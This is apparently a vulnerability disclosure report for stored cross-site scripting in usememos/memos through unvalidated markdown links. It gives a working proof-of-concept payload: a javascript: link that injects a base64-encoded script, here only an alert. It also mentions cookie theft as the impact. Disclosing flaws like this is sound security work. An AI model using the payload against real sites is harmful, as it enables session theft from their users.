Stored XSS by link markdown in usememos/memos
Reported on
Jan 5th 2023
Description
The site allows link markdown but does not validate, resulting in XSS.
Proof of Concept
Create new memo with payload
[Click me!](javascript:document.body.innerHTML="<script src='data:text/javascript;base64,YWxlcnQob3JpZ2luKTs='></script>")
Hold Ctrl and click to Click me!
, a alert with content is domain name appear.
Impact
Stored XSS, stole victim cookie...
Occurrences
SECURITY.md
exists
a year ago